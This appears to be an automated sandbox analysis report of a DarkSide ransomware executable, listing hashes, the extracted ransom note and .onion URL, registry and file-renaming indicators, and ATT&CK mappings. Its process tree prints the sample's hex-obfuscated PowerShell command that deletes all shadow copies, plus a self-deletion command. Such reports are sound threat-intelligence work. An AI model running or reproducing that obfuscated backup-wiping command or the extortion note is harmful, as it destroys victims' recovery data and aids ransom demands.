darkside | b70a184f36903de934b93c5118561ddb1c3747e365575f92682ef09fbb48d5f8

General

Target

sage2.donotopen.exe
Size

59KB
MD5

7be33b01e9cb99c6e23ae3b02f384a2c
SHA1

1f8a236ceafc44eea0c117b9d276d556e3fe53e2
SHA256

b70a184f36903de934b93c5118561ddb1c3747e365575f92682ef09fbb48d5f8
SHA512

c053fe23f5b25127bfe17d7eabad31aa7c3d696d78373e90d8ced9182598c4315fd0cb02aec12efee120996874894a0ef56671d3db4adedfcccb0b80c4b1c154

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.21b2020d.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/VFBTTQ0UZGCGIMG4WZLMO06HUN6ZQHEF4AY2K88X4GZJQOT106I95CADXOD0MZ39 When you open our website, put the following data in the input form: Key: O8cftGJ1pfLv5lKrmHB1GEA5n66Njf1IoiFZtDyJK7pBiGogpnuyofA8s6BYSOlZa77fma1teaR5FThKb6yVbUwdnRpfC8HAH5y3uyOku71bGSVGSHkW7qL1nVJPNZEeEEpektJpXiq5CDK6sen3WLkcHdSj5fwpGixQ7ytCt4J36QhSfGOCggTXweb3Ccvm2TqZCQQo7io6essoQGcHGFiqiceOVKVBuDq8xYEEODU3bf523VsgLA09gJeK3OkB1A9aWrX8VwwAVhNojxiotck0g0zw6kO6Yyn6zdZtwbCFv6Ny5E73WonoBoWoE8NhX2C6zXRvTogoUEDxfzTquiTRE4ciawueUJWWOqoprwxGqEM7b0ClmYGOMIDQs5xZwnkWLZH97aqBxHmKjGGVcSPts4YtipD4RlaLL5w4F57zcOi0nH8mHoLNA6guOKJSrWC8sGFbm1HUjDmUPxzxhWTg9GBL9cIP6LGorwqmazVcTJkV8JRJ78tFFqr8Ofa4X3ISHdfA3dkgEFWHgeGy2NxVGHSNXnL4fCIW1bKzwhORTrPH00spmCS !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/VFBTTQ0UZGCGIMG4WZLMO06HUN6ZQHEF4AY2K88X4GZJQOT106I95CADXOD0MZ39

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

sage2.donotopen.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\SelectExport.crw.21b2020d	sage2.donotopen.exe
File renamed	C:\Users\Admin\Pictures\SkipStop.raw => C:\Users\Admin\Pictures\SkipStop.raw.21b2020d	sage2.donotopen.exe
File opened for modification	C:\Users\Admin\Pictures\SkipStop.raw.21b2020d	sage2.donotopen.exe
File renamed	C:\Users\Admin\Pictures\SelectExport.crw => C:\Users\Admin\Pictures\SelectExport.crw.21b2020d	sage2.donotopen.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

sage2.donotopen.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\21b2020d.BMP"	sage2.donotopen.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\21b2020d.BMP"	sage2.donotopen.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

Processes:

sage2.donotopen.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallpaperStyle = "10"	sage2.donotopen.exe

Modifies registry class 5 IoCs

Processes:

sage2.donotopen.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d	sage2.donotopen.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d\ = "21b2020d"	sage2.donotopen.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon	sage2.donotopen.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d	sage2.donotopen.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\21b2020d.ico"	sage2.donotopen.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exesage2.donotopen.exe

pid process

3108 powershell.exe
3108 powershell.exe
3108 powershell.exe
744 sage2.donotopen.exe
744 sage2.donotopen.exe

pid	process
3108	powershell.exe
3108	powershell.exe
3108	powershell.exe
744	sage2.donotopen.exe
744	sage2.donotopen.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

sage2.donotopen.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	744	sage2.donotopen.exe
Token: SeSecurityPrivilege	744	sage2.donotopen.exe
Token: SeTakeOwnershipPrivilege	744	sage2.donotopen.exe
Token: SeLoadDriverPrivilege	744	sage2.donotopen.exe
Token: SeSystemProfilePrivilege	744	sage2.donotopen.exe
Token: SeSystemtimePrivilege	744	sage2.donotopen.exe
Token: SeProfSingleProcessPrivilege	744	sage2.donotopen.exe
Token: SeIncBasePriorityPrivilege	744	sage2.donotopen.exe
Token: SeCreatePagefilePrivilege	744	sage2.donotopen.exe
Token: SeBackupPrivilege	744	sage2.donotopen.exe
Token: SeRestorePrivilege	744	sage2.donotopen.exe
Token: SeShutdownPrivilege	744	sage2.donotopen.exe
Token: SeDebugPrivilege	744	sage2.donotopen.exe
Token: SeSystemEnvironmentPrivilege	744	sage2.donotopen.exe
Token: SeRemoteShutdownPrivilege	744	sage2.donotopen.exe
Token: SeUndockPrivilege	744	sage2.donotopen.exe
Token: SeManageVolumePrivilege	744	sage2.donotopen.exe
Token: 33	744	sage2.donotopen.exe
Token: 34	744	sage2.donotopen.exe
Token: 35	744	sage2.donotopen.exe
Token: 36	744	sage2.donotopen.exe
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeBackupPrivilege	2716	vssvc.exe
Token: SeRestorePrivilege	2716	vssvc.exe
Token: SeAuditPrivilege	2716	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

sage2.donotopen.exe

description	pid	process	target process
PID 744 wrote to memory of 3108	744	sage2.donotopen.exe	powershell.exe
PID 744 wrote to memory of 3108	744	sage2.donotopen.exe	powershell.exe
PID 744 wrote to memory of 4648	744	sage2.donotopen.exe	cmd.exe
PID 744 wrote to memory of 4648	744	sage2.donotopen.exe	cmd.exe
PID 744 wrote to memory of 4648	744	sage2.donotopen.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe
"C:\Users\Admin\AppData\Local\Temp\sage2.donotopen.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3108

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\SAGE2D~1.EXE >> NUL
2⤵
PID:4648

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2716

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
67fc7b646bf0ff4129cf65bd31753fd9

SHA1
7428127d16a308ccd3d4ec950b540f31616322a9

SHA256
c87bb7e6b1480fff5001ec8fe03aa2b8868efa618c5576445a0676aaa31764b3

SHA512
9f58daffe014a9797c7e1d035f9577eab060d7a22ebc6cc4f40b9e348793d3b4adf27506df7ef5add9c86c6ee7c70d1cc1cb8cc3e9f33d447d72feeb7a32f264

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memory/3108-114-0x0000000000000000-mapping.dmp

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memory/3108-120-0x000001589A210000-0x000001589A211000-memory.dmp

Filesize
4KB

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memory/3108-125-0x000001589A3C0000-0x000001589A3C1000-memory.dmp

Filesize
4KB

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memory/3108-127-0x00000158FEC83000-0x00000158FEC85000-memory.dmp

Filesize
8KB

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memory/3108-128-0x00000158FEC86000-0x00000158FEC88000-memory.dmp

Filesize
8KB

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memory/3108-126-0x00000158FEC80000-0x00000158FEC82000-memory.dmp

Filesize
8KB

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memory/4648-144-0x0000000000000000-mapping.dmp

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Malware Config

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Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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